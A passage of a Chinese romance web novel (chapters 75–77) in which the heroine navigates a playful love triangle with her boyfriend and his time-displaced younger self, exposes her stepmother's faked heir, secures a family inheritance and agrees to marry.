林念禾连眼皮都没睁开,翻身继续睡。 下一秒,身体陡然悬空。 霍锌把她从被窝里捞起来,“睡着了?” “……” 林念禾困得没有力气骂他,脑袋昏昏沉沉的,往他怀里钻。 人躺在哪儿,哪儿就是床。 他费尽心思练的胸肌,不就是给她睡的吗。 房间安静了一会儿,突然响起窸窸窣窣的声音。 霍锌单手抱住她,低头亲了一下她的脸,疑惑,“刚不是醒了吗?” 林念禾闭着眼睛,趴在他的胸口,黑长的睫毛乖顺地下搭,呼吸平缓。她真的很困,居然在这么一小会儿的时间里又睡着了。 如果霍锌有男德,现在应该轻轻地把她放回被窝,再轻轻地滚出去。 眼见她快要睡沉,霍锌晃了晃怀里的人,不知道从哪拿了一支笔,塞进她的右手,“先签个东西,再睡。” 这几天签的东西太多,林念禾被他折腾到有点受不了,直接闭着眼睛凭手感,胡乱签了一个大名上去。 等签完字,房间里瞬间安静下来。 耳边只剩他的心跳声,隔着耳膜和胸腔,一声一声有力地跳动。 林念禾在这诡异的安静中骤然清醒。 “你刚让我签了什么?” “结婚协议书。” “……” 霍锌捏了捏她腰上的软肉,“现在结婚登记不需要户口本了。” 林念禾沉默一瞬,坐起来,想去看他放在床头柜上的文件到底写了什么。 她去年离的婚,今年绝对不可能再婚。 退一步说,她和霍锌结婚,也是要先签婚前财产协议。毕竟自己离过一次婚,其中的弯弯绕绕,她亲身经历过一次。 普通人离婚都得为车房撕个头破血流,更别提有钱人。 霍锌搂住她漏出来的半截细腰,把人往后拉回来,“你急什么?” “我怕你把我卖了。”她坐在他的大腿上,偷偷观察他的表情,确认是不是在开玩笑。 毕竟这人疯起来,什么事都能做出来。 顺势将人搂进怀里后,霍锌没再松手,而是这么居高临下地同她对视。他不说话,眼底情绪平静,手掌心贴着对方的小腹。 房间里气氛变得微妙起来,如同一摊缓缓流动的水。 好半天后,林念禾推搡了一下他的肩膀,假装轻松道,“你这么看着我干什么?” “不想和我结婚”他垂眸,“那你想和谁?” “是门外那个十八岁的更年轻的我?” “你前夫” “还是你有别的男人” 林念禾一把捂住他的唇,挺直腰身,另一只手掐住他的喉颈,将他摁倒在枕头上。 在失去理智的小心眼男人面前,她嘴皮解释破了也没用,不如手动让他闭嘴。 黑发顺着肩头滑下来,垂悬在他的前方,来回轻荡。 霍锌不语,只盯着视野前方的人,眼眸漆黑。 他喜欢她的味道,躺在她睡过的枕头上,被她压着。那股属于林念禾的味道,正环绕着自己,无死角地展现在他面前。 昭示着他被她所拥有。 霍锌顺从地让自己身体松懈下来,甚至很配合地抬手放置在她的腰间。 方才还因为吃醋散发着危险气息的人,忽而满脸写着快来强制他。 突然下不去手了…… 林念禾顿时觉得压着他的动作有点别扭,骑虎难下地威胁,“不许说话。” 后者眼皮下搭,乖顺地躺平。 见他不再动作,她松开手,去拿那份文件。 文件挺厚,二十多张纸。 林念禾稍微翻了一下,动作忽而停滞,抬眼去瞧他。 霍锌还保持着那副任人宰割的模样,领口不知道什么时候被扯开了,一大片胸肌和锁骨暴露在空气中。 “……” 她拿命发誓,刚才绝对没有趁机扯他衣服。 只一眼没注意,他就自己开始扮演起被蹂躏的娇花。 “小心着凉。”林念禾面无表情地帮他拢好衣领,“你什么意思?” 霍锌仰头,喉结滚动,“你问的是哪一个” 如果问的是衣服,那他确实不怀好意。 “你让我签的协议,你犯法了?” 二十多张纸全是关于他名下资产转让的内容,包括不动产和资金,还有个人的股权,文玩。她匆匆扫了一眼,甚至在里面看见了游艇、私人岛屿和国外酒庄。 和你们这群有钱人拼了。 林念禾在脑子里想了半天,只能得出来他可能要吃牢饭,所以急着把资产转让出去的结论。 不然他抽哪门子风,突然把钱全部给她。 “没有。”他疑惑,“为什么这么想” “生病了?” “你要看上个月的体检报告吗,医生说我很健康。我们只是一个星期没做,你就质疑我的身体” “……” 林念禾思忖片刻,重新将那份文件从头到尾仔细翻阅了一遍。 她知道霍锌有钱,但是没想到他这么有钱。一开始,还有闲心粗算价值总和,到后面,她都有点算不明白了。 不是所有的牛奶都叫特仑苏,不是所有的富人都叫霍锌。 早知道,当年谈恋爱的时候,多从他手里捞点好的。 她把文件翻到最后一页,看见自己闭着眼睛签上去的林念禾三个字,有些不真实,“这协议合法吗?” 别纯写出来为了忽悠她。 “专业律师一字一句拟出来的,你签下名的那刻,已经具有法律效益了。” “你……”林念禾无意识地抠手,思绪如同乱麻。 在陆家争得你死我活的资产,霍锌随手就送给了她,甚至比陆建林留下的还要多的多。 胸腔仿佛压着一块石头,她呼吸微乱,隐隐有些无措。 霍锌察觉到她的变化,倏地拉低她的脖子,凑上去,亲她。 呼吸交缠在一块儿,温热的气息扑洒到彼此的脸上。林念禾像块僵硬的木头,仍由他侵入。 霍锌捧着她的脸,很有耐心地调动她的情绪。唇瓣厮磨,他含吮着她的下唇,舌尖试探性地深入。 安静的房间里响起水渍声。 他勾着她的软舌,去舔她的敏感点。 温度逐渐攀升,霍锌越来越凶,不停地搅动舔咬。 林念禾那点微妙的感动被他亲得早扔到九霄云外去了,重心不稳,摔在他的身上。 她承受不住他的力道,抬手抓住他的黑发,哼唧两声。 头皮微微刺痛,霍锌不情愿地松开她,紧接着意犹未尽地凑上去啄了几口。 他舔了舔唇,重新躺好,“别给我揪秃了。” 年纪越大,霍锌就越开始注意外在。虽然熟男更有韵味,但不得不承认年轻的比他要水灵很多。 此时此刻门外忍气吞声守着的那个,不仅新陈代谢比他快,还拥有他早八百年就褪去的青涩。 将熟未熟的青色果实,向来都是最诱人的。 更何况,他对林念禾的道德底线一直秉持怀疑态度。如果小霍不要脸,哪天晚上爬到她的床上,可怜兮兮地贴着她,勾引她,林念禾拒绝他的可能性不亚于国足踢进世界杯。 霍锌看她抿唇不说话,以为她不开心,歪头思考了一下,认真道,“不是不给你拽。你如果真喜欢扯我,我去定制一个刻着你名字的私人项圈带在脖子上,行不行” 这样他的头发能保住,林念禾也能过手瘾。他并不觉得这是什么坏习惯,相反霍锌认为抓人头发的行为很像小孩儿。 林念禾埋在他的颈窝里不吭声,耳朵红得快要滴血。她抬起手腕,再一次捂住他的嘴,防止自己等会儿听见更见不得台面的话。 脑袋里仿佛有两种心情在打架,一边在感动,另一边觉得霍锌是在道德绑架自己。 她在床边摩挲了一阵,没摸到文件,支起脑袋找,看见地上孤零零躺着那份厚重的文件。 林念禾收回视线,从他身上爬起来。霍锌好似早就预料到她想干什么,圈住她的手腕。 早在大学毕业后,他开始清算自己的资产有哪些适合转给林念禾。大学自己投资挣的,加上他爸给的,林林总总加起来有十位数。后来算来算去,他还是不满意,总觉得不够多。 一拖再拖,甚至差点真变成遗产,最后拖到了今天。 给出去的东西,必然不可能收回来。哪怕林念禾全部捐出去,或者拿着钱干别的,他都乐意至极。 “没有想强迫你。”霍锌将她蜷曲的手指挤开,十指相扣,“就算以后结婚了,纸上面写的东西也都会是你的婚前财产。” 他没有说她会和谁结婚。 自己对于未来的规划离不开她,而林念禾的未来是否有他,他并不清楚。 两颗藏在胸膛里的心,明明离的最近,却罩着一层薄雾似的看不清对方。 他顿了顿, “继续睡吧,不是很困吗?” 要是还能继续睡下去,就见鬼了。 林念禾慢吞吞地躺回去,沉默着。霍锌有些时候格外偏执,比如给她花钱,比如要满足她的愿望。 很早的时候,她随手写在纸上的一句话,第二天就能实现。那些未被满足的童年遗憾,最终都会被他所覆盖。 良久,正当霍锌以为她睡着了。 冷不丁听见她发问,“那我可以用你的钱去养小霍锌吗?” “……” 第75章 第75章回家再摸 “啪”的一声,房间恢复黑暗。 霍锌收回摁开关的手,把人团吧团吧塞进被窝,声音听起来平静,“你要敢给别的男人花一分,我就死给你看。” “……” 林念禾反应两秒,才明白他的意思,直接笑出来,“好小心眼啊。” “你第一天认识我?” 见他没有半点反思的意思,甚至还挺理直气壮。林念禾在被子下默默地翻了个身,用后背对着他表示自己的无语。这辈子都不要和接不上梗的男人说话了。 男人家家的,做人大方一点会死吗。 一改几日的阴雨天,第二天阳光明媚。 林念禾照常去陆氏,一进公司,宛如平静的湖水里砸落一块巨石。陆建林去世的消息全网皆知,大家闲暇之余都在议论巨额遗产的去向。 光是关于她和温诗的关系,就出了好几版的八卦,从一开始的后妈虐待继女,到后来的俩人联手干掉老东西上位,甚至还衍生出来她俩的拉子爱情版本。 牛马上班时死气沉沉,聊起豪门秘史来一个比一个精通。就跟小时候上学听不懂老师上课,但是能精准察觉到每一对班里的地下情侣一样。 她懒的去管这些流言蜚语,照常处理了一些文件,听下属汇报自己手里的项目进度后,就收拾东西走人。 来一趟,只是为了做做表面样子,安抚人心。 刚到地下车库,手机进来一通电话。 林念禾扣上安全带,扫了一眼来电人,接通:“有事?” “你来接我吗?” 电话那头声音嘈杂,年轻男女的各色声响混杂在一块儿。 “霍锌虐待你了打车钱也不给你?” 那头叹了口气,半晌似乎找了个安静的地方,可怜兮兮,“他心眼多小,你难道不清楚?” “昨天他从你房间出来之后,甚至特意把我锁在房间里,就怕我嫉妒他能上你床,半夜溜进你房间。” 霍锌不知道是故意还是不小心,把这件事抛之脑后。早上跟她在玄关亲了好久,出门时候半点没想起来提醒她把人放出来。要不是自己上午在家晃悠,总感觉少了点什么,小霍估计现在还在房间里困着。 “林念禾你要是还有点良心,今天是不是得来接我” 听着电话那头没动静,小霍站在阳台,声音莫名软了下去,“我喝了点酒,头好晕,你来接我好不好嗯” 上扬的尾音像把小刷子,来回扫着林念禾的心尖,逼得她手心发痒。 会撒娇的男人,这他爹谁能抗的住。 而且这还是霍锌哎,以前谈恋爱的时候,他哪会这种撒娇,顶多就是把头蹭过来,一声不吭地让她摸。 现在的霍锌,也不会这样撒娇,他只会明里暗里勾引林念禾。 “好好好,发个位置给我,我马上就去接你。你好好待着,别乱动。” 电话挂断,年轻的男生站在阳台,手里无意识地摩挲着暗下去的手机屏幕。 果然吃软不吃硬。 高考后的学生就跟花果山的猴子一样,一朝解放了,精力无限,上蹿下跳。 谢师宴的地方离公司十五分钟的车程,不算很远。酒店上面是家娱乐场所,玩的东西也比较全,有台球厅KTV棋牌室之类的。 学生人多,吃完了谢师宴,索性把这一层包下来,算下半场他们自己的聚会。 林念禾一进去,就感觉格格不入。 一众十七八岁的少年少女,纷纷投来目光。 不是那种无意识的注视,而是带着没有恶意的好奇打量。 她佯装无事,实际手心都快冒汗了。根据小霍发过来的语音找到他在的包厢,推门而入。 震耳的音乐声几乎响彻云霄,她在人群中找到睡着的小霍。 看起来确实喝的有点多,霍锌酒量不行。霍母管的严,十八岁之前烟酒一个都不能沾。所以高中和那些富不知道多少代子弟聚在一起,别人装逼叼着雪茄,他叼着雪糕棒。 林念禾还因为这件事嘲笑过好几次,她确实不喜欢抽烟的男生,但是霍锌叼着雪糕棒坐在一堆纨绔子弟中间,属实很诡异。 她走上前,小霍仿佛心灵感应般地缓慢睁开眼,双眸漆黑。 “能自己走吗?” 他牵上她的手,一声不吭地站起来。 还能听懂人话,说明没醉太狠。 他将自己的手指从指缝中塞进去,两只手牢牢地贴在一起才算满意。 “走吧,回家。” 包厢里的歌声暂停了,灯光依旧昏暗,林念禾刚走没两步,就感觉到四面八方的炙热目光。 你爹的,有点寸步难行了。 “姐姐再见。”不知道谁起的头,顿时众人都开始掩饰般地礼貌告别。 一直到包厢门重新被关上,才正常。 小霍头似乎很晕,在电梯间里一直闭着眼睛。林念禾挣扎两下,没能把自己的手夺回来,索性立在他身边,听见对方浅浅的呼吸声。 “手机一直在响,不回消息吗?” 他的手机自从进了电梯,就开始叮叮当当响个不停。 小霍把手机掏出来递给她,“帮我随便回两条。” 半晌,没等到林念禾将手机还回来的动静。他倏地睁开眼,垂眸对上一张面无表情的脸。 “我说我不是故意的,你信吗?” “……” 一想到自己刚真成了被人看的马戏团猴子,林念禾就想抽他。 不,抽他可能会让他爽到。 明明拒绝聚会有那么多很好的借口他不选,他非要说自己为了挣出国学费在给富婆当小三。 消息里,一半是安慰他赚学费不丢人,读书人的事怎么能叫小三呢。 剩下一小部分,说他俩是绝配,希望他争口气不要丢二中的脸,有朝一日坐上正宫的位置。 还有小部分则在狂舞,说富婆姐姐这么好的条件看上你是瞎了吗? 他真忘了之前懒得出门胡扯的借口。 眼见林念禾脸色不对,小霍立马滑跪认错。 “我马上就跟他们解释,那些都是之前我嘴贱胡乱编的理由。” 林念禾冷笑,把他手机塞进自己的口袋,没有半点打算归还的念头,“你解释他们能信?” “……” 如果林念禾今天没有来接他,多半是会相信的。 电梯下行至地下停车场。 “你当你的三儿去吧,反正你都不要脸了,我也不要了。”她边说边往停车的方向走,“以后我们见面,就随缘吧。毕竟富婆和小三的关系上不了台面,我还想谈段健康点的恋爱。” 手腕倏地被人拽住,惯性作用下,她半侧过身,睨眼看向他。 他用的力气不大,也许是喝了酒,掌心的温度比平时要高出一些。只分神一瞬,一张出色的帅脸猝不及防贴了过来。 呼吸交织,林念禾抬眸对上一双委屈的黑眸,瞳孔深处倒映她一人的模样。 他低头啄了一下她的唇,随即埋在她的肩膀处,蹭着她的颈间,哼哼唧唧,“你不能扔下我,你都向我求过婚了。” “……” 林念禾沉默了好半天,才从记忆深处找到那段很离奇的回忆。简单说,就是她高二上课脑袋抽风,拿纸做了一个戒指,趁他睡觉,偷偷套在了他的手上。 套完后,她就转头去做别的事。本以为下课之前摘下来就不会发现,没成想霍锌半途醒来,默不作声地看了半天,跟她说他还没到法定结婚年纪。 “没有人会把求婚戒指套在小拇指。”林念禾抱怨,“起来,你好沉。” 他意识清醒着,还没有失去对身体的掌控,酒精顶多让他思考问题的速度变得有些缓慢。林念禾转移问题的本事还是一如既往的稀烂,他能不知道自己用了几分力气? 就连亲她的那一下都蜻蜓点水般,生怕惹她更生气。 全天下的男人都没有他大度,他能容忍和霍锌住在同一屋檐下,亲眼看着两人关系一日比一日亲密。当然林念禾也没有完全忘记他,时不时抽出空,安抚他两下,像训狗似的,做的好就给奖励,做的不好就会被训。 小霍突然有些嫉妒生气,嘴边是林念禾温热的肩膀。他动了动,下一秒林念禾惊呼出声。 “你属狗的?”她猛地把人推开,捂着肩,难以置信。 好好的突然咬自己一口,他脑子进水了吧。 疼倒不怎么疼,小霍下口的瞬间用了几分力气,很快又松掉。 留下一个不深不浅的牙印。 他扯唇, 闷声道歉,“对不起。” 才怪。 一想到如果今晚霍锌不要脸地爬上林念禾床,结果看见自己留下的痕迹,他就挺开心的。那个老男人估计不敢光明正大地说些什么,只会在背地里嫉妒到想弄死他。 无所谓,他又打不死他。 半夜溜进房间的才是贱人。 林念禾原本有些生气,一看见他耷拉着眼尾,黏糊糊地抱上来,顿时就气消大半。 幸亏地下车库里这个时间点,除了他俩没有其他人,不然她真弄死他。 沉默中,小霍也在观察她的情绪,半天没听见林念禾骂他,想了一下,抓起她的手,往自己的胸上放。 “摸摸?” 林念禾板着脸,表情有点松动。 “最近胸围好像比以前大了一点。” “……” 她倏地抽回自己的手,耳朵微红,脸上却依然一本正经地抗拒,“闭嘴,回家在说。” 回家再摸。 小霍明白她的意思,瞬间安分不少。 车就停在不远处的车位上,林念禾往前走了没几步,对面一个带着鸭舌帽的男人慌慌张张地跑过来。空间充足,但对方仿佛设计好似的,精准地撞到了她的肩膀。 第76章 第76章孩子,遗产大战最后篇…… 重心不稳,她后退好几步,背部抵上小霍的胸膛才堪堪停下。 后者眉头紧皱,低头确认林念禾没事后,严肃地望着那个陌生男人。 对方连忙道歉,声音沙哑,“不好意思,我刚才没注意到,没撞疼你吧,真的很对不起。” 说话间,他抬手摆弄了一下帽子。林念禾直直撞上一双似曾相识的眼睛。 还没等她反应过来,男人疾步擦肩而过。 电话忽地响起,仿佛有人掐准时间,算好了一切。林念禾看了眼来电人是霍锌,思忖片刻,手指滑动接通。 “查到人了。”霍锌顿了顿,“但是他昨天去了国外。” 他们一直在查温诗怀孕的这件事情。陆建林车祸后,几乎丧失生育能力。前前后后找了好几个女人做试管,都没有成功。温诗和他在一起这么些年,一直在调理身体,甚至隔三岔五去寺庙求子。 总不能真是哪个瞎了眼的神仙见他俩心诚,大手一挥往她肚子里塞了一个孩子。 陆建林生性精明,唯独在这件关乎男性自尊的事情上,他更愿意相信自己真的再次拥有了一个儿子。 霍锌继续道,“资料我等会儿发给你,他航班落地点并不偏僻,找起来应该没有想象中的困难。” 他坐在办公室的椅子上,摁了摁食指,语气忽地放软,“吃过午饭了吗?” 已经下午两点多,林念禾平时在家起床迟,一日三餐不规律。他早上临走前还交代她少睡一会儿,不然晚上睡不着觉。 很显然林念禾一边耳朵进一边耳朵出,敷衍了事。 “还没有。” “你还没吃饭吗?”一道突兀的男声插进来,打断他们的聊天。 小霍低眸盯着她的脸,“附近有家日料店,吃完饭再回家” 电话那头忽地安静一瞬,林念禾没注意到霍锌的反应,思考了一下答应,“行。” “回家再说,我先去吃饭了。” 霍锌呼吸一窒,却没问为什么小霍出现在她的身边。 用脚想,都能知道是某个贱人故意吸引林念禾的注意力。 聪明的男人从来不会把问题抛给自己的爱人,那些针锋相对互相扯头花的糟烂事只会藏在暗处悄悄进行。 电话挂断,摆在办公桌面的手机屏幕早就暗灭。 霍锌突然起身推开办公室的门。 那边, 林念禾点开霍锌发来的文件,映入眼帘的就是一个陌生男人的正脸照。 他有着一双和自己八成相似的眼睛,乍一看五官,甚至会误以为两个人是有血缘关系的亲属。 小霍凑到她的身边,看见照片后,若有所思,“这是刚才那个男人” 即使那个男人神态疲惫,从头到尾穿着一身黑,也能轻易地分辨出他确实是照片里的人。 “你说是我们运气好”林念禾拉开驾驶位车门,“还是有人故意送到我们的眼前” 在国内找人远比国外轻松很多。 那天林念禾确认自己在地下车库里看见了那位叫邓辰的男人后,次日霍锌就找到人还撬开了对方的嘴。 邓辰一开始装模作样宁死不从,威逼利诱只进行到威逼两个字,他就将事情一箩筐地坦白出来。 他和陆建林是同乡,陆母在和陆父结婚之前,曾经和另外一个男人结过婚并且生下一个孩子。 那个孩子就是邓辰的母亲。 邓辰今年三十出头,因为外形条件出色,在销售行业干得一直不错。直到前几年跳槽转行去应聘某个奢侈品店的销售员,阴差阳错地认识了温诗。 对方漂亮出手大方,每次来都会特意为他配货冲业绩。邓辰当然想过,她是不是对自己有什么想法。 长得好看的男销售和富婆私下里有关系,在行业内遍地可见。 他自己也没有什么要捍卫的尊严,富婆看上他,他巴不得洗干净了等着别人宠幸。 结果明里暗里递了几次信号,温诗一反常态地拒绝了。这样纯粹的业绩关系一直维持到今年年初,她突然找他,提出想买精子做人工试管的想法,还保证孩子生下来给他五百万。 有便宜不占是傻子,邓辰一贯靠着脸吃饭吃习惯了,对于从天而降的馅饼想都没想就直接咬了上去。 三十好几的年纪,青春饭都快变馊饭了,抓紧机会靠富婆挣钱才是真理。 孩子怀上后,他本以为只需要安心拿钱就好。半个月前,邓辰在家里睡觉,一伙人直接闯进他家,将他带到郊区某个房子里。 他这才知道,自己到底惹上了什么麻烦。 陆建林葬礼结束后,邓辰以为自己能拿钱回家。温诗出尔反尔,直接定了送他去国外的机票,准备让他在国外躲两年再回国。 邓辰向来下线的脑子,在听见消息的那刻,突然上线。什么躲两年,电视剧里贪官被人送出国避风头,都是直接被人杀了封口。 他要是真的听温诗的话,乖乖坐飞机去国外,怕是只能骨灰盒快递回家。 机场人多眼杂,邓辰借口上厕所溜走,一路东躲西藏,跑到林念禾的面前求生机。 光凭人证没有用,他们还需要拿邓辰的DNA去做亲子鉴定,证明胎儿没有继承权,这样林念禾才会重新拥有继承公司的机会。 没成想,就在他们找到邓辰的第三天,温诗意外流产了。 林念禾赶到医院时,温诗已经做完了清宫手术。 老宅的管家看见林念禾,满脸愧色,“新来的佣人搞错了地板清洁剂,导致夫人今天午睡起床时从楼梯上摔了下去。” 其实并不严重,健康的孕妇摔一跤不会有大问题。 林念禾上初中时,还见过校门口怀孕六个月的孕妇和老奶奶打架,被踹了一脚肚子的孕妇照样安然无恙。 但温诗身体太差了,短短半年内瘦成纸片薄似的,这个孩子吸了她太多养分供自己成长。 温诗表弟一脸不耐烦地指着管家,“我姐这样,你们都得负全责。这孩子是我姐夫留给我姐的唯一念想,现在孩子没了,你们陆家上上下下都等着我去告你们吧!” “你来干什么”他瞥见林念禾,脸色瞬间难看无比,“收起你的那些花花心思,我姐如果有个三长两短,我做鬼都不会放过你们陆家!” “你们陆家没有好东西,我姐辛辛苦苦怀个孩子,结果命都要没了。你们有钱人,都是披着人皮的畜生。” 林念禾面无表情,“你再多骂一句,我就让保安把你扔出去。” “你当医院是你们家开的?” “我名下确实有这家医院的股份,你如果再乱叫一句,我立马可以让你滚,包括你姐。” 霍锌转让的那一大堆财产股份里,恰好有这家医院的控股。 温表弟气焰忽地消下去,表情愤怒,却乖乖闭上了嘴。 上次被叫过来宣布遗嘱的几位律师也到场了。温诗被注射麻醉还需要一会儿才醒,林念禾趁着时间和几位律师在休息间,商讨遗产问题。 由于失去了遗嘱上的继承人,遗产分配问题回归到国内法律法规,一切都需要重新拟定。 时间一点点流逝,日落西山,大片余辉洒进屋内。 林念禾逆着夕阳推开病房的门,躺在床上的人脸色苍白,乌黑的长发散在枕头上。 她盯着天花板,似乎听见动静,眼珠微微转动,没有其他动作。 林念禾站在床边,“醒了?” 她声音有点嘶哑,“我想喝水,你可以帮我倒杯水吗?” 水杯被递到嘴边,温诗坐起来靠在床头,道轻声说了一句谢谢,接过玻璃杯小口小口地喝水。 她像一个易碎的瓷瓶,美丽而脆弱。 温诗喝完水,终于看向站在跟前的人。她挤出一丝笑,“恭喜你,你赢了。” “连老天都在帮你,不愿意让这个孩子留在我身边。” “老天要是真帮我,就应该让陆建林早死几年。”林念禾说,“我是个运气很烂的人。” “你说这种话,在我听来像是炫耀。” “那你真误解我了。” “……” 良久的沉默,林念禾视线落在她的脸上,“我找到邓辰了。” 话音刚落,女人很明显一瞬间攥紧了手心下的被单,表情凝固。 只那么一两秒后,又恢复正常。 林念禾捕捉到了这短暂的一瞬,“我都没有下狠手,他就什么都交代了。所以到底谁是被老天眷顾的?” 就算今天没有流产,等到亲子鉴定的那天,她会让邓辰来到现场,在她眼皮子底下做亲缘鉴定。 “你赢了。”温诗轻声道,“是我手段低人一等,心不够狠,所以才会输给你。” “所以你真的打算在国外把邓辰杀了?” “本来有这个念头,最后发现自己还是不够狠,根本下不了手。” 这才把活生生的把柄送到林念禾的手里。 她唇角上扬,像是发自内心地笑起来,“他挺蠢的,死了有点可惜。” 林念禾冷不丁问,“温姨,你知道你现在的笑容和你之前在《春生夏长》里最后那个镜头一模一样吗?” 温诗靠着那部电影在当年获得了格温奖的最佳女主角,电影是关于一个小女孩长大后利用男友报复养父,最后养父和男友双双死在了仓库里。 电影最后警察发现她才是真正的主谋,她的表情就和如今躺在病床上的温诗如出一辙。 “早在邓辰从机场溜走,你就知道他会反水对吗?” 所以才会脚滑流产,所以才会演出一副功亏一篑的气恨模样。 温诗没有回答她的问题,而是摸了摸自己的脸,整个人仿若松懈下来,“生熟了吗?” 门倏地被人打开,温诗表弟像只护犊子的牛,瞪着林念禾,“聊什么,需要聊这么久。我姐现在最要紧的是休息,你不知道吗?” “我们在聊你姐获得了百分之三十的财产。” 林念禾懒得搭理这个傻子,她也累了,不想吵架,“温姨好好养病,我先走了。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 第77章(全文完) 第77章 第77章你更喜欢谁?…… 一晃几个月过去。 温诗养好身体,没过多久就将手里的股份转卖给了林念禾。国内影视业不景气,接不到好剧本,她没什么想复出的念头,所以选择拿钱出国,远走高飞。 自此,加上从陆建林那儿继承来的股份还有先前霍锌帮她收购的散股,林念禾摇身一变成为陆氏最大的股东。 年仅28岁,成为国内屈指可数的女富豪。 贺渺在听见这一消息时,差点把她肩膀都给摇碎了。本想顺势带着林念禾找个高端会所庆祝庆祝,碍于两个男人危险的眼神,贺渺悻悻收手,果断选择自己一个人去会所享乐。 三个人同居也有段时间了,一开始还有些不习惯,住着住着,林念禾倒习惯了家里有人。 原本和霍锌谈恋爱的几年,除了上大学前两年,后期一直在同居。 生活习惯早磨合得严丝合缝,甚至在一定程度上大幅提高了林念禾的生活质量。 冷了有人暖床,醒了有人做饭,困了有人陪睡。 有时候在霍锌那儿吃亏了,还能跑到小霍那里找找面子。玩不过二十八的老男人,她能玩不过刚成年的 那段时间,林念禾过得跟纣王一样,乐不思蜀。每天下班准时回家,逗逗狗,摸摸猫,调戏调戏男人。 调戏多了,也会有翻车的时候。 某天早上起来,林念禾看见自己左右各躺着一个男人,差点没从床上滚下去。 前一天晚上应酬,喝了几杯酒。 霍锌去接她那会儿,林念禾还没有断片。回家之后,她吵着要洗澡,然后……一点都不记得了。 林念禾重新躺回去,夹在两个人中间,仰头望天花板,脑子都快烧着了,都没从记忆里找到一丁点关于昨晚的记忆。 她承认自己扛不住霍锌任何蓄意勾引,有可能借着酒精做出一些色胆包天的事情。 但一觉醒来,床上躺着三个人,属实有点招架不住。 正当林念禾暗自唾弃时,左边睡着的小霍用头蹭了蹭她的肩膀,收紧揽在她腰间的手。 右边的男人紧接着也同她贴的更近,温湿的呼吸轻轻洒在她敏感的耳垂上。林念禾稍微偏头,就能看见霍锌乖顺的睡颜。 睫毛长且浓密,鼻梁高挺,相较于左侧那位,熟男的轮廓更加明显,像醇厚的红酒,随着阅历加深,吸引力只增不减。 所以她昨晚才会犯了一个天底下女人都会犯的错…… “醒了?” 小霍捏了捏她肚子上的软肉,声音懒散,“头疼吗?” “不疼。” 林念禾说完这句话后,陷入沉默。 不应该问她腿疼不疼吗? 房间里静悄悄,过了一会儿,小霍又问,“我和他,你更喜欢谁?” “……” 她再次在脑海里努力搜刮昨晚的记忆,隐约记得霍锌把她抱去浴室,剥开衣物。画面一转,浴室地面满是溅出来的水渍。 自己坐在洗手台边,手指抓着男人黑色的短发。霍锌掐着林念禾的大腿,抬眼,意味深长地注视着她。 像老式电视机,画面停留在这戛然而止。 她不记得小霍干了什么,所以没法儿比较两个人谁的技术更胜一筹。 良久不回答,气氛变得微妙起来。 林念禾想起床跑路,一扭头对上一双早已清醒的眼眸。 完犊子。 命运戏耍大馋丫头。 霍锌语气亲昵,视线黏在她的脸侧,用指尖撩开林念禾额前的碎发,“宝宝,我也想知道这个问题的答案。” 逼她死可以直说,没必要这么婉转。 “今天天气真好。” 霍锌抓住她的胳膊,眼帘半掀,“有这么难选” “下午可以带乐乐去宠物店洗个澡。” “你昨晚哭着往我身上贴的时候,说最爱的人是我。” 旁边的小霍冷笑一声,“喝多了说的话,你也当真。前天她也跟我说过一模一样的话,但是那会儿她可没喝酒。” 林念禾当时为了哄他脱衣服穿胸链,什么好话都说了一遍。 “……” 眼见两人即将吵起来,还有可能会暴露自己偷摸干的一些见不得人的事。 她叹了口气,无可奈何,“别吵了,谁先来解释解释为什么我们会同时躺在一张床上” 霍锌掀开眼皮,嘲讽,“你该问他为什么不要脸地赖着不走。” “林念禾希望我留下,她说了不想让我走。”小霍挑衅回去,“她有和你说过这句话吗,赖着不走的另有其人。” 林念禾当然说过。在浴室,她面色潮红,屈起腿弯,背靠在镜子前,意识迷糊时,亲口说过让他留下。 这些私密的回忆,绝不可能告诉小霍。 看着他耀武扬威的样子,霍锌只觉得这人可怜。他压根不知道,自己和林念禾有多恩爱。 想到此处,他唇角上扬。 无言的回答,在小霍看来是这个老男人被自己凌辱得说不出一句话。 他亲了一下林念禾的脸,心情很好地率先起床去做早餐。 卧室留下两人,林念禾被霍锌拽进怀里。 她还有点惴惴不安,顺势亲了亲霍锌的脖子,眼神闪烁,“我没同时睡你们两个吧?” 他哼了一声,意味不明,“没睡上两个,你很失望” “那倒不是,我做人很有原则,公诉良俗在我这就是不能违规的底线。” “所以你到底更爱谁” 林念禾哽了一下,“当然是你。” “多爱” “你难道感受不到” 霍锌扯唇笑,“怎么越来越滑头了。” “你不喜欢” 他想了想,“不喜欢。” 林念禾难以置信地掰开他的胳膊,趴在他的身上,“你说什么?” “因为我爱你。” 情话有时似乎很难说出口,但霍锌不会,他是一个很乐意表达爱的人。脱口而出的表白如同一只短箭,精准地射中了林念禾的内心。 她埋在他的胸前,遮挡住自己开始发烫的脸。 “所以你到底更喜欢谁” 问题又被绕回来,林念禾真服了他的小心眼,闷声回复,“当然是你。” 谁能有他骚。 “那你得证明给我看。”霍锌靠在床头,把她也抱起来,跨坐在自己的身前,说话时还低眸瞧了一眼。 林念禾放下手,认真思考,劝道,“我怕做一半,小霍敲门进来,晚上锁门再做行不行。” 霍锌眨眨眼,有些意外,“我说的是结婚,宝宝你说的是什么?” “……” 他伸手解开睡衣的第一颗纽扣,“既然你想要,我就不得不从了。” “” 林念禾一把摁住他的手,颤颤巍巍地将扣子系回去,“不不不,这样对身体不好。结婚,我们还是说回结婚。” “等会儿遛狗顺便去民政局领个证怎么样。” “今天好像是周六。”她伸手去够放在床头柜上的手机,看见锁屏日期上显示周六,还好心地把手机反过来给霍锌看。 “民政局不上班。” 霍锌思忖一下,“那周一去。” “周一我要出差,周三才能回来。” “周四挺好,我昨天看天气预报,那天是个大晴天。”他晃晃林念禾的手,“我们周四去领证。” 林念禾先是没思考直接答应了,然后反应过来。 不对,这是求婚吗? 谁家男朋友在床上求婚 她二十分钟前睁眼发现自己和两个男人躺一块儿,二十分钟后就决定和其中一个结婚。 这太荒谬了。 没等她提出抗议,霍锌黏黏糊糊地亲上来。林念禾面对男色,稀里糊涂地觉得结就结吧,结了还能离。 之前签的协议里,好像有一项婚前合约,霍锌如果和她结婚,离婚了照样净身出户。 她完全不亏。 在得知他俩要去领证后,小霍一反常态地沉默。 没有胡搅蛮缠,没有勾引斗角,反而时不时静静地看着他俩。 领证那天,果然是个阳光明媚的大晴天。 十二月份的天很冷,因为是工作日,领证的人不多。 他们取号排队,坐在等候区时,其他人都好奇地向他们投来目光。 出门前,本来说好他们两个人来就行,结果小霍非要跟过来。 